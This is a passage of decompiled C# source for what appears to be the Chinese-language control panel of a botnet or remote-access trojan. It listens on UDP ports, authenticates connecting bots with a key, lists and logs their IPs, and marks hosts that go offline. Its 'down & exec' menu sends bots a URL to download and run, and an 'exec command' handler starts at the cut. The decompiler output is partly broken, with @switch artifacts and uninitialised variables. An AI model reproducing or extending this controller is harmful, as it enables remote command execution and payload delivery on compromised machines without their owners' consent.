  853.             Control arg_ADB_0 = this.CheckBox2;
  854.             size = new Size(84, 16);
  855.             arg_ADB_0.Size = size;
  856.             this.CheckBox2.TabIndex = 11;
  857.             this.CheckBox2.Text = "记录上线IP";
  858.             this.CheckBox2.UseVisualStyleBackColor = true;
  859.             SizeF autoScaleDimensions = new SizeF(6f, 12f);
  860.             this.AutoScaleDimensions = autoScaleDimensions;
  861.             this.AutoScaleMode = AutoScaleMode.Font;
  862.             size = new Size(778, 276);
  863.             this.ClientSize = size;
  864.             this.Controls.Add(this.CheckBox1);
  865.             this.Controls.Add(this.DelOffline);
  866.             this.Controls.Add(this.CheckBox2);
  867.             this.Controls.Add(this.PortText);
  868.             this.Controls.Add(this.LoginKey);
  869.             this.Controls.Add(this.PortBN);
  870.             this.Controls.Add(this.Button2);
  871.             this.Controls.Add(this.ListView1);
  872.             this.Controls.Add(this.RichTextBox1);
  873.             this.Controls.Add(this.Button1);
  874.             this.Name = "Form1";
  875.             this.StartPosition = FormStartPosition.CenterScreen;
  876.             this.WindowState = FormWindowState.Maximized;
  877.             this.ContextMenuStrip1.ResumeLayout(false);
  878.             this.ResumeLayout(false);
  879.             this.PerformLayout();
  880.         }
  881.         private void Form1_FormClosing(object sender, FormClosingEventArgs e)
  882.         {
  883.             try
  884.             {
  885.                 this.Listen(0);
  886.             }
  887.             catch (Exception expr_09)
  888.             {
  889.                 ProjectData.SetProjectError(expr_09);
  890.                 Exception ex = expr_09;
  891.                 Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
  892.                 ProjectData.ClearProjectError();
  893.             }
  894.         }
  895.         private void Form1_Load(object sender, EventArgs e)
  896.         {
  897.             this.Text = Application.ProductName + " " + Application.ProductVersion;
  898.             this.AppPath = Strings.Mid(this.AppPath, 1, this.AppPath.LastIndexOf("\\"));
  899.             this.PortBN.PerformClick();
  900.         }
  901.         private void PortText_Enter(object sender, EventArgs e)
  902.         {
  903.             this.PortText.SelectionStart = 0;
  904.             this.PortText.SelectionLength = Strings.Len(this.PortText.Text);
  905.         }
  906.         private void PortText_KeyPress(object sender, KeyPressEventArgs e)
  907.         {
  908.             int num = Strings.Asc(e.KeyChar);
  909.             if ((num < 48 | num > 59) & num != 8 & num != 13 & num != 44)
  910.             {
  911.                 e.Handled = true;
  912.             }
  913.             if (num == 13)
  914.             {
  915.                 this.PortBN.PerformClick();
  916.             }
  917.         }
  918.         private void PortBN_Click(object sender, EventArgs e)
  919.         {
  920.             checked
  921.             {
  922.                 try
  923.                 {
  924.                     if (this.$STATIC$PortBN_Click$20211C1261$Status == 0)
  925.                     {
  926.                         if (this.PortText.Text.IndexOf(",") != 0)
  927.                         {
  928.                             string[] array = this.PortText.Text.Split(new char[]
  929.                             {
  930.                                 ','
  931.                             });
  932.                             for (int i = 0; i < array.Length; i++)
  933.                             {
  934.                                 int num = Conversions.ToInteger(array[i]);
  935.                                 if (!Versioned.IsNumeric(num))
  936.                                 {
  937.                                     Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
  938.                                     return;
  939.                                 }
  940.                             }
  941.                         }
  942.                         else if (Conversions.ToDouble(this.PortText.Text) < 1.0 | Conversions.ToDouble(this.PortText.Text) > 65535.0)
  943.                         {
  944.                             Interaction.MsgBox("端口异常", MsgBoxStyle.Exclamation, null);
  945.                             return;
  946.                         }
  947.                         this.$STATIC$PortBN_Click$20211C1261$Status = 1;
  948.                         this.ListStatus = 1;
  949.                         this.Disdown = this.CheckBox1.Checked;
  950.                         this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
  951.                         this.PortBN.Text = "Stop";
  952.                         this.PortText.ReadOnly = true;
  953.                         this.Timer1.Enabled = true;
  954.                     }
  955.                     else
  956.                     {
  957.                         this.$STATIC$PortBN_Click$20211C1261$Status = 0;
  958.                         this.ListStatus = 0;
  959.                         this.Disdown = this.CheckBox1.Checked;
  960.                         this.Listen(this.$STATIC$PortBN_Click$20211C1261$Status);
  961.                         this.PortBN.Text = "Start";
  962.                         this.PortText.ReadOnly = false;
  963.                         this.Timer1.Enabled = false;
  964.                         this.ListView1.Items.Clear();
  965.                         this.RichTextBox1.Text = null;
  966.                     }
  967.                 }
  968.                 catch (Exception expr_195)
  969.                 {
  970.                     ProjectData.SetProjectError(expr_195);
  971.                     Exception ex = expr_195;
  972.                     if (this.$STATIC$PortBN_Click$20211C1261$Status != 0)
  973.                     {
  974.                         this.$STATIC$PortBN_Click$20211C1261$Status = 0;
  975.                     }
  976.                     else
  977.                     {
  978.                         this.$STATIC$PortBN_Click$20211C1261$Status = 1;
  979.                     }
  980.                     Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, null);
  981.                     ProjectData.ClearProjectError();
  982.                 }
  983.             }
  984.         }
  985.         public void Listen(int Status)
  986.         {
  987.             int num2;
  988.             int num3;
  989.             try
  990.             {
  991.                 IL_00:
  992.                 int num = 1;
  993.                 if (Status == 0)
  994.                 {
  995.                     goto IL_71;
  996.                 }
  997.                 IL_09:
  998.                 num = 2;
  999.                 this.key = this.LoginKey.Text;
  1000.                 IL_1D:
  1001.                 num = 3;
  1002.                 string text = this.PortText.Text;
  1003.                 IL_2C:
  1004.                 num = 4;
  1005.                 if (Operators.CompareString(text, "", false) == 0)
  1006.                 {
  1007.                     goto IL_214;
  1008.                 }
  1009.                 IL_41:
  1010.                 num = 5;
  1011.                 this.$STATIC$Listen$20118$Listh = new Thread(delegate(object a0)
  1012.                 {
  1013.                     this.Listcp(Conversions.ToString(a0));
  1014.                 }, 0);
  1015.                 IL_5D:
  1016.                 num = 6;
  1017.                 this.$STATIC$Listen$20118$Listh.Start(text);
  1018.                 IL_6C:
  1019.                 goto IL_301;
  1020.                 IL_71:
  1021.                 num = 9;
  1022.                 IL_75:
  1023.                 ProjectData.ClearProjectError();
  1024.                 num2 = 1;
  1025.                 IL_7D:
  1026.                 num = 11;
  1027.                 if (!this.$STATIC$Listen$20118$Listh.IsAlive)
  1028.                 {
  1029.                     goto IL_9D;
  1030.                 }
  1031.                 IL_8E:
  1032.                 num = 12;
  1033.                 this.$STATIC$Listen$20118$Listh.Abort();
  1034.                 IL_9D:
  1035.                 num = 14;
  1036.                 this.ClientAuth.Clear();
  1037.                 IL_AC:
  1038.                 num = 15;
  1039.                 this.ClietnIP.Clear();
  1040.                 IL_BB:
  1041.                 num = 16;
  1042.                 if (this.PortText.Text.IndexOf(",") == 0)
  1043.                 {
  1044.                     goto IL_19A;
  1045.                 }
  1046.                 IL_DC:
  1047.                 num = 17;
  1048.                 Dictionary<string, Socket>.ValueCollection.Enumerator enumerator = this.ClientSockets.Values.GetEnumerator();
  1049.                 while (enumerator.MoveNext())
  1050.                 {
  1051.                     Socket current = enumerator.Current;
  1052.                     IL_FB:
  1053.                     num = 18;
  1054.                     current.Shutdown(SocketShutdown.Both);
  1055.                     IL_106:
  1056.                     num = 19;
  1057.                     current.Close();
  1058.                     IL_110:
  1059.                     num = 20;
  1060.                 }
  1061.                 ((IDisposable)enumerator).Dispose();
  1062.                 IL_12A:
  1063.                 num = 21;
  1064.                 Dictionary<string, Thread>.ValueCollection.Enumerator enumerator2 = this.ClientThread.Values.GetEnumerator();
  1065.                 while (enumerator2.MoveNext())
  1066.                 {
  1067.                     Thread current2 = enumerator2.Current;
  1068.                     IL_14A:
  1069.                     num = 22;
  1070.                     if (current2.IsAlive)
  1071.                     {
  1072.                         IL_156:
  1073.                         num = 23;
  1074.                         current2.Abort();
  1075.                     }
  1076.                     IL_160:
  1077.                     num = 25;
  1078.                 }
  1079.                 ((IDisposable)enumerator2).Dispose();
  1080.                 IL_17A:
  1081.                 num = 26;
  1082.                 this.ClientSockets.Clear();
  1083.                 IL_189:
  1084.                 num = 27;
  1085.                 this.ClientThread.Clear();
  1086.                 IL_198:
  1087.                 goto IL_214;
  1088.                 IL_19A:
  1089.                 num = 29;
  1090.                 IL_19E:
  1091.                 num = 30;
  1092.                 if (!this.dataThread[0].IsAlive)
  1093.                 {
  1094.                     goto IL_1C2;
  1095.                 }
  1096.                 IL_1B1:
  1097.                 num = 31;
  1098.                 this.dataThread[0].Abort();
  1099.                 IL_1C2:
  1100.                 num = 33;
  1101.                 NewLateBinding.LateCall(this.Listener[0], null, "Shutdown", new object[]
  1102.                 {
  1103.                     SocketShutdown.Both
  1104.                 }, null, null, null, true);
  1105.                 IL_1F2:
  1106.                 num = 34;
  1107.                 NewLateBinding.LateCall(this.Listener[0], null, "Close", new object[0], null, null, null, true);
  1108.                 IL_214:
  1109.                 goto IL_301;
  1110.                 IL_219:
  1111.                 int arg_220_0 = num3 + 1;
  1112.                 num3 = 0;
  1113.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_220_0);
  1114.                 IL_2BD:
  1115.                 goto IL_2F6;
  1116.                 num3 = num;
  1117.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num2);
  1118.                 IL_2D2:
  1119.                 goto IL_2F6;
  1120.             }
  1121.             object arg_2D4_0;
  1122.             endfilter(arg_2D4_0 is Exception & num2 != 0 & num3 == 0);
  1123.             IL_2F6:
  1124.             throw ProjectData.CreateProjectError(-2146828237);
  1125.             IL_301:
  1126.             if (num3 != 0)
  1127.             {
  1128.                 ProjectData.ClearProjectError();
  1129.             }
  1130.         }
  1131.         public void Listcp(string Port)
  1132.         {
  1133.             checked
  1134.             {
  1135.                 try
  1136.                 {
  1137.                     if (Port.IndexOf(",") != 0)
  1138.                     {
  1139.                         string[] array = Port.Split(new char[]
  1140.                         {
  1141.                             ','
  1142.                         });
  1143.                         for (int i = 0; i < array.Length; i++)
  1144.                         {
  1145.                             int num = Conversions.ToInteger(array[i]);
  1146.                             IPEndPoint localEP = new IPEndPoint(IPAddress.Any, num);
  1147.                             int num2;
  1148.                             Socket[] array2 = new Socket[num2 + 1];
  1149.                             array2[num2] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  1150.                             array2[num2].Bind(localEP);
  1151.                             this.ClientSockets.Add(Conversions.ToString(num), array2[num2]);
  1152.                             Thread[] array3 = new Thread[num2 + 1];
  1153.                             array3[num2] = new Thread(delegate(object a0)
  1154.                             {
  1155.                                 this.Recv((Socket)a0);
  1156.                             });
  1157.                             array3[num2].IsBackground = true;
  1158.                             array3[num2].Start(array2[num2]);
  1159.                             this.ClientThread.Add(Conversions.ToString(num), array3[num2]);
  1160.                             num2++;
  1161.                         }
  1162.                     }
  1163.                     else
  1164.                     {
  1165.                         IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, Conversions.ToInteger(Port));
  1166.                         this.Listener[0] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
  1167.                         object arg_13E_0 = this.Listener[0];
  1168.                         Type arg_13E_1 = null;
  1169.                         string arg_13E_2 = "Bind";
  1170.                         object[] array4 = new object[]
  1171.                         {
  1172.                             iPEndPoint
  1173.                         };
  1174.                         object[] arg_13E_3 = array4;
  1175.                         string[] arg_13E_4 = null;
  1176.                         Type[] arg_13E_5 = null;
  1177.                         bool[] array5 = new bool[]
  1178.                         {
  1179.                             true
  1180.                         };
  1181.                         NewLateBinding.LateCall(arg_13E_0, arg_13E_1, arg_13E_2, arg_13E_3, arg_13E_4, arg_13E_5, array5, true);
  1182.                         if (array5[0])
  1183.                         {
  1184.                             iPEndPoint = (IPEndPoint)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array4[0]), typeof(IPEndPoint));
  1185.                         }
  1186.                         this.ClientSockets.Add(Conversions.ToString(0), (Socket)this.Listener[0]);
  1187.                         this.dataThread[0] = new Thread(delegate(object a0)
  1188.                         {
  1189.                             this.Recv((Socket)a0);
  1190.                         });
  1191.                         this.dataThread[0].IsBackground = true;
  1192.                         this.dataThread[0].Start(RuntimeHelpers.GetObjectValue(this.Listener[0]));
  1193.                     }
  1194.                 }
  1195.                 catch (Exception expr_1CB)
  1196.                 {
  1197.                     ProjectData.SetProjectError(expr_1CB);
  1198.                     Exception ex = expr_1CB;
  1199.                     Button VB$t_ref$S1 = this.PortBN;
  1200.                     this.BeginInvoke(new EventHandler(delegate(object a0, EventArgs a1)
  1201.                     {
  1202.                         VB$t_ref$S1.PerformClick();
  1203.                     }));
  1204.                     int num;
  1205.                     Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, " 监听端口[ " + Conversions.ToString(num) + " ]失败!");
  1206.                     ProjectData.ClearProjectError();
  1207.                 }
  1208.             }
  1209.         }
  1210.         public void Addhost(object sender, EventArgs e)
  1211.         {
  1212.             object arg_36_0 = this.ListView1.Items;
  1213.             Type arg_36_1 = null;
  1214.             string arg_36_2 = "Add";
  1215.             object[] array = new object[]
  1216.             {
  1217.                 RuntimeHelpers.GetObjectValue(sender)
  1218.             };
  1219.             object[] arg_36_3 = array;
  1220.             string[] arg_36_4 = null;
  1221.             Type[] arg_36_5 = null;
  1222.             bool[] array2 = new bool[]
  1223.             {
  1224.                 true
  1225.             };
  1226.             NewLateBinding.LateCall(arg_36_0, arg_36_1, arg_36_2, arg_36_3, arg_36_4, arg_36_5, array2, true);
  1227.             if (array2[0])
  1228.             {
  1229.                 sender = RuntimeHelpers.GetObjectValue(array[0]);
  1230.             }
  1231.             this.upme();
  1232.             if (this.CheckBox2.Checked)
  1233.             {
  1234.                 StreamWriter streamWriter = new StreamWriter(this.AppPath + "/Online " + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", true);
  1235.                 ListViewItem listViewItem = (ListViewItem)sender;
  1236.                 streamWriter.WriteLine(listViewItem.Text.Split(new char[]
  1237.                 {
  1238.                     ':'
  1239.                 })[0]);
  1240.                 streamWriter.Flush();
  1241.                 streamWriter.Close();
  1242.                 streamWriter.Dispose();
  1243.             }
  1244.         }
  1245.         public void Delhost(object sender, EventArgs e)
  1246.         {
  1247.             string text = sender.ToString();
  1248.             ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1249.             if (listViewItem != null)
  1250.             {
  1251.                 this.ListView1.Items.RemoveByKey(text);
  1252.             }
  1253.         }
  1254.         public void Uphost(object sender, EventArgs e)
  1255.         {
  1256.             string text = sender.ToString();
  1257.             ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1258.             if (listViewItem != null)
  1259.             {
  1260.                 listViewItem.BackColor = Color.LightYellow;
  1261.                 listViewItem.SubItems[1].Text = Conversions.ToString(-1);
  1262.             }
  1263.         }
  1264.         public void Uptime(object sender, EventArgs e)
  1265.         {
  1266.             string text = sender.ToString();
  1267.             Color paleVioletRed;
  1268.             if (text.IndexOf("|") > 0)
  1269.             {
  1270.                 string left = text.Split(new char[]
  1271.                 {
  1272.                     '|'
  1273.                 })[0];
  1274.                 if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
  1275.                 {
  1276.                     paleVioletRed = Color.PaleVioletRed;
  1277.                 }
  1278.                 text = text.Split(new char[]
  1279.                 {
  1280.                     '|'
  1281.                 })[1];
  1282.             }
  1283.             ListViewItem listViewItem = this.ListView1.FindItemWithText(text);
  1284.             if (listViewItem != null)
  1285.             {
  1286.                 listViewItem.SubItems[3].Text = DateAndTime.Now.ToString();
  1287.                 if (!paleVioletRed.IsEmpty)
  1288.                 {
  1289.                     listViewItem.BackColor = paleVioletRed;
  1290.                 }
  1291.             }
  1292.         }
  1293.         public void Recv(Socket obj)
  1294.         {
  1295.             int num;
  1296.             int num4;
  1297.             try
  1298.             {
  1299.                 IL_00:
  1300.                 ProjectData.ClearProjectError();
  1301.                 num = 1;
  1302.                 IL_08:
  1303.                 int num2 = 2;
  1304.                 IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Any, 0);
  1305.                 IL_17:
  1306.                 num2 = 3;
  1307.                 this.BeginInvoke(new EventHandler(this.showMsg), new object[]
  1308.                 {
  1309.                     "Recv Thread Start!"
  1310.                 });
  1311.                 IL_41:
  1312.                 while (true)
  1313.                 {
  1314.                     IL_38B:
  1315.                     num2 = 5;
  1316.                     IL_46:
  1317.                     num2 = 6;
  1318.                     byte[] array = new byte[1025];
  1319.                     IL_55:
  1320.                     num2 = 7;
  1321.                     byte[] arg_60_1 = array;
  1322.                     EndPoint endPoint = iPEndPoint;
  1323.                     int arg_6D_0 = obj.ReceiveFrom(arg_60_1, ref endPoint);
  1324.                     iPEndPoint = (IPEndPoint)endPoint;
  1325.                     int num3 = arg_6D_0;
  1326.                     IL_6F:
  1327.                     num2 = 8;
  1328.                     string text = iPEndPoint.ToString().Split(new char[]
  1329.                     {
  1330.                         ':'
  1331.                     })[0];
  1332.                     IL_90:
  1333.                     num2 = 9;
  1334.                     string text2 = iPEndPoint.ToString();
  1335.                     IL_9B:
  1336.                     num2 = 10;
  1337.                     if (num3 > 0)
  1338.                     {
  1339.                         IL_A7:
  1340.                         num2 = 11;
  1341.                         string text3 = Encoding.UTF8.GetString(array, 0, num3);
  1342.                         IL_BB:
  1343.                         num2 = 12;
  1344.                         bool flag = true;
  1345.                         IL_C2:
  1346.                         num2 = 15;
  1347.                         if (flag == this.ClientAuth.ContainsKey(text2))
  1348.                         {
  1349.                             IL_D9:
  1350.                             num2 = 16;
  1351.                             obj.SendTo(Encoding.UTF8.GetBytes("0K"), iPEndPoint);
  1352.                             IL_F4:
  1353.                             num2 = 17;
  1354.                             if (text3.IndexOf("|") > 0)
  1355.                             {
  1356.                                 IL_109:
  1357.                                 num2 = 18;
  1358.                                 string left = text3.Split(new char[]
  1359.                                 {
  1360.                                     '|'
  1361.                                 })[0];
  1362.                                 IL_127:
  1363.                                 num2 = 21;
  1364.                                 if (Operators.CompareString(left, Conversions.ToString(5), false) == 0)
  1365.                                 {
  1366.                                     IL_13F:
  1367.                                     num2 = 22;
  1368.                                     this.BeginInvoke(new EventHandler(this.showMsg), new object[]
  1369.                                     {
  1370.                                         "到达最大下载次数 " + text2
  1371.                                     });
  1372.                                     IL_170:
  1373.                                     num2 = 23;
  1374.                                     this.BeginInvoke(new EventHandler(this.Uptime), new object[]
  1375.                                     {
  1376.                                         "5|" + text2
  1377.                                     });
  1378.                                     IL_1A1:;
  1379.                                 }
  1380.                             }
  1381.                             else
  1382.                             {
  1383.                                 IL_1A6:
  1384.                                 num2 = 26;
  1385.                                 IL_1AA:
  1386.                                 num2 = 27;
  1387.                                 this.BeginInvoke(new EventHandler(this.Uptime), new object[]
  1388.                                 {
  1389.                                     text2
  1390.                                 });
  1391.                                 IL_1D1:;
  1392.                             }
  1393.                         }
  1394.                         else
  1395.                         {
  1396.                             IL_1D6:
  1397.                             num2 = 30;
  1398.                             if (flag == text3.IndexOf("|") > 0)
  1399.                             {
  1400.                                 IL_1EF:
  1401.                                 num2 = 31;
  1402.                                 if (Operators.CompareString(this.key, text3.Split(new char[]
  1403.                                 {
  1404.                                     '|'
  1405.                                 })[0], false) != 0)
  1406.                                 {
  1407.                                     IL_21A:;
  1408.                                 }
  1409.                                 else
  1410.                                 {
  1411.                                     IL_21F:
  1412.                                     num2 = 34;
  1413.                                     this.ClientAuth.Add(text2, true);
  1414.                                     IL_230:
  1415.                                     num2 = 35;
  1416.                                     this.ClietnIP.Add(text2, iPEndPoint);
  1417.                                     IL_241:
  1418.                                     num2 = 36;
  1419.                                     ListViewItem listViewItem = new ListViewItem();
  1420.                                     IL_24C:
  1421.                                     num2 = 37;
  1422.                                     listViewItem.Text = text2;
  1423.                                     IL_258:
  1424.                                     num2 = 38;
  1425.                                     listViewItem.Name = text2;
  1426.                                     IL_264:
  1427.                                     num2 = 39;
  1428.                                     listViewItem.SubItems.Add(Conversions.ToString(0));
  1429.                                     IL_27B:
  1430.                                     num2 = 40;
  1431.                                     listViewItem.SubItems.Add(DateAndTime.Now.ToString());
  1432.                                     IL_29A:
  1433.                                     num2 = 41;
  1434.                                     listViewItem.SubItems.Add(DateAndTime.Now.ToString());
  1435.                                     IL_2B9:
  1436.                                     num2 = 42;
  1437.                                     listViewItem.SubItems.Add(obj.LocalEndPoint.ToString().Split(new char[]
  1438.                                     {
  1439.                                         ':'
  1440.                                     })[1]);
  1441.                                     IL_2EC:
  1442.                                     num2 = 43;
  1443.                                     listViewItem.SubItems.Add(text3.Split(new char[]
  1444.                                     {
  1445.                                         '|'
  1446.                                     })[1]);
  1447.                                     IL_315:
  1448.                                     num2 = 44;
  1449.                                     this.BeginInvoke(new EventHandler(this.Addhost), new object[]
  1450.                                     {
  1451.                                         listViewItem
  1452.                                     });
  1453.                                     IL_33D:
  1454.                                     num2 = 45;
  1455.                                     obj.SendTo(Encoding.UTF8.GetBytes("Auth"), iPEndPoint);
  1456.                                     IL_358:
  1457.                                     num2 = 46;
  1458.                                     if (this.Disdown)
  1459.                                     {
  1460.                                         IL_364:
  1461.                                         num2 = 47;
  1462.                                         obj.SendTo(Encoding.UTF8.GetBytes("5|"), iPEndPoint);
  1463.                                         IL_37F:;
  1464.                                     }
  1465.                                 }
  1466.                             }
  1467.                             else
  1468.                             {
  1469.                                 IL_381:
  1470.                                 num2 = 51;
  1471.                                 text3 = "Key Error";
  1472.                             }
  1473.                         }
  1474.                     }
  1475.                 }
  1476.                 IL_393:
  1477.                 goto IL_4C8;
  1478.                 IL_398:
  1479.                 int arg_39F_0 = num4 + 1;
  1480.                 num4 = 0;
  1481.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_39F_0);
  1482.                 IL_484:
  1483.                 goto IL_4BD;
  1484.                 num4 = num2;
  1485.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
  1486.                 IL_499:
  1487.                 goto IL_4BD;
  1488.             }
  1489.             object arg_49B_0;
  1490.             endfilter(arg_49B_0 is Exception & num != 0 & num4 == 0);
  1491.             IL_4BD:
  1492.             throw ProjectData.CreateProjectError(-2146828237);
  1493.             IL_4C8:
  1494.             if (num4 != 0)
  1495.             {
  1496.                 ProjectData.ClearProjectError();
  1497.             }
  1498.         }
  1499.         public void Msglog(string str)
  1500.         {
  1501.             this.RichTextBox1.Text = string.Concat(new string[]
  1502.             {
  1503.                 Conversions.ToString(DateAndTime.Now),
  1504.                 "\t",
  1505.                 str,
  1506.                 "\r",
  1507.                 this.RichTextBox1.Text
  1508.             });
  1509.         }
  1510.         public void showMsg(object sender, EventArgs e)
  1511.         {
  1512.             this.RichTextBox1.Text = string.Concat(new string[]
  1513.             {
  1514.                 Conversions.ToString(DateAndTime.Now),
  1515.                 "\t",
  1516.                 sender.ToString(),
  1517.                 "\r",
  1518.                 this.RichTextBox1.Text
  1519.             });
  1520.         }
  1521.         private void Button1_Click(object sender, EventArgs e)
  1522.         {
  1523.             checked
  1524.             {
  1525.                 if (this.ListView1.Items.Count > 0)
  1526.                 {
  1527.                     try
  1528.                     {
  1529.                         string text = Interaction.InputBox("保存在线主机列表", "", this.AppPath + "/" + Strings.Format(DateAndTime.Now, "yyyy-MM-dd").Replace("/", "-") + ".txt", -1, -1);
  1530.                         if (!(Operators.CompareString(text, "", false) == 0 | text.IndexOf("|") > 0 | text.IndexOf(">") > 0 | text.IndexOf("<") > 0 | text.IndexOf("*") > 0))
  1531.                         {
  1532.                             StreamWriter streamWriter = new StreamWriter(text, false);
  1533.                             int num;
  1534.                             try
  1535.                             {
  1536.                                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1537.                                 while (enumerator.MoveNext())
  1538.                                 {
  1539.                                     ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1540.                                     if (listViewItem.BackColor != Color.LightYellow)
  1541.                                     {
  1542.                                         streamWriter.WriteLine(listViewItem.Text.Split(new char[]
  1543.                                         {
  1544.                                             ':'
  1545.                                         })[0]);
  1546.                                         num++;
  1547.                                     }
  1548.                                 }
  1549.                             }
  1550.                             finally
  1551.                             {
  1552.                                 IEnumerator enumerator;
  1553.                                 if (enumerator is IDisposable)
  1554.                                 {
  1555.                                     (enumerator as IDisposable).Dispose();
  1556.                                 }
  1557.                             }
  1558.                             streamWriter.Flush();
  1559.                             streamWriter.Close();
  1560.                             streamWriter.Dispose();
  1561.                             Interaction.MsgBox("保存成功! " + Conversions.ToString(num) + " 个IP列表", MsgBoxStyle.OkOnly, null);
  1562.                         }
  1563.                     }
  1564.                     catch (Exception expr_166)
  1565.                     {
  1566.                         ProjectData.SetProjectError(expr_166);
  1567.                         Exception ex = expr_166;
  1568.                         Interaction.MsgBox(ex.Message, MsgBoxStyle.OkOnly, "保存失败");
  1569.                         ProjectData.ClearProjectError();
  1570.                     }
  1571.                 }
  1572.             }
  1573.         }
  1574.         private void ListView1_MouseUp(object sender, MouseEventArgs e)
  1575.         {
  1576.             if (e.Button == MouseButtons.Right & this.ListView1.SelectedItems.Count >= 1)
  1577.             {
  1578.                 this.ListView1.ContextMenuStrip = this.ContextMenuStrip1;
  1579.             }
  1580.             else
  1581.             {
  1582.                 this.ListView1.ContextMenuStrip = null;
  1583.             }
  1584.         }
  1585.         private void DeleteRowsToolStripMenuItem_Click(object sender, EventArgs e)
  1586.         {
  1587.             int num;
  1588.             int num3;
  1589.             try
  1590.             {
  1591.                 IL_00:
  1592.                 ProjectData.ClearProjectError();
  1593.                 num = 1;
  1594.                 IL_07:
  1595.                 int num2 = 2;
  1596.                 checked
  1597.                 {
  1598.                     for (int i = this.ListView1.SelectedItems.Count - 1; i >= 0; i += -1)
  1599.                     {
  1600.                         IL_1E:
  1601.                         num2 = 3;
  1602.                         if (this.ListView1.SelectedItems[i].Selected)
  1603.                         {
  1604.                             IL_38:
  1605.                             num2 = 4;
  1606.                             this.ListView1.SelectedItems[i].Remove();
  1607.                         }
  1608.                         IL_50:
  1609.                         num2 = 6;
  1610.                     }
  1611.                     IL_5A:
  1612.                     goto IL_C5;
  1613.                     IL_5C:;
  1614.                 }
  1615.                 int arg_61_0 = num3 + 1;
  1616.                 num3 = 0;
  1617.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_61_0);
  1618.                 IL_86:
  1619.                 goto IL_BA;
  1620.                 num3 = num2;
  1621.                 @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
  1622.                 IL_98:
  1623.                 goto IL_BA;
  1624.             }
  1625.             object arg_9A_0;
  1626.             endfilter(arg_9A_0 is Exception & num != 0 & num3 == 0);
  1627.             IL_BA:
  1628.             throw ProjectData.CreateProjectError(-2146828237);
  1629.             IL_C5:
  1630.             if (num3 != 0)
  1631.             {
  1632.                 ProjectData.ClearProjectError();
  1633.             }
  1634.         }
  1635.         private void Timer1_Tick(object sender, EventArgs e)
  1636.         {
  1637.             try
  1638.             {
  1639.                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1640.                 while (enumerator.MoveNext())
  1641.                 {
  1642.                     ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1643.                     if (DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[2].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L && DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[3].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L)
  1644.                     {
  1645.                         if (this.DelOffline.Checked)
  1646.                         {
  1647.                             if (this.ClientAuth.ContainsKey(listViewItem.Text))
  1648.                             {
  1649.                                 this.ClientAuth.Remove(listViewItem.Text);
  1650.                             }
  1651.                             if (this.ClietnIP.ContainsKey(listViewItem.Text))
  1652.                             {
  1653.                                 this.ClietnIP.Remove(listViewItem.Text);
  1654.                             }
  1655.                             listViewItem.Remove();
  1656.                         }
  1657.                         else
  1658.                         {
  1659.                             if (this.ClientAuth.ContainsKey(listViewItem.Text))
  1660.                             {
  1661.                                 this.ClientAuth.Remove(listViewItem.Text);
  1662.                             }
  1663.                             if (this.ClietnIP.ContainsKey(listViewItem.Text))
  1664.                             {
  1665.                                 this.ClietnIP.Remove(listViewItem.Text);
  1666.                             }
  1667.                             listViewItem.BackColor = Color.LightYellow;
  1668.                         }
  1669.                     }
  1670.                 }
  1671.             }
  1672.             finally
  1673.             {
  1674.                 IEnumerator enumerator;
  1675.                 if (enumerator is IDisposable)
  1676.                 {
  1677.                     (enumerator as IDisposable).Dispose();
  1678.                 }
  1679.             }
  1680.             this.upme();
  1681.         }
  1682.         public void upme()
  1683.         {
  1684.             this.Text = string.Concat(new string[]
  1685.             {
  1686.                 Application.ProductName,
  1687.                 " ",
  1688.                 Application.ProductVersion,
  1689.                 Strings.Space(3),
  1690.                 "主机列表:",
  1691.                 Conversions.ToString(this.ListView1.Items.Count)
  1692.             });
  1693.         }
  1694.         private void ShellToolStripMenuItem_Click(object sender, EventArgs e)
  1695.         {
  1696.             string text = Interaction.InputBox("默认位置/tmp/helloworld  http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
  1697.             ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1698.             checked
  1699.             {
  1700.                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1701.                 {
  1702.                     if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1703.                     {
  1704.                         this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[selectedItems[i].Text]);
  1705.                     }
  1706.                 }
  1707.             }
  1708.         }
  1709.         private void ExecCmdToolStripMenuItem_Click(object sender, EventArgs e)
  1710.         {
  1711.             string text = Interaction.InputBox("id", "exec command", "", -1, -1);
  1712.             if (Operators.CompareString(text, "", false) == 0)
  1713.             {
  1714.                 return;
  1715.             }
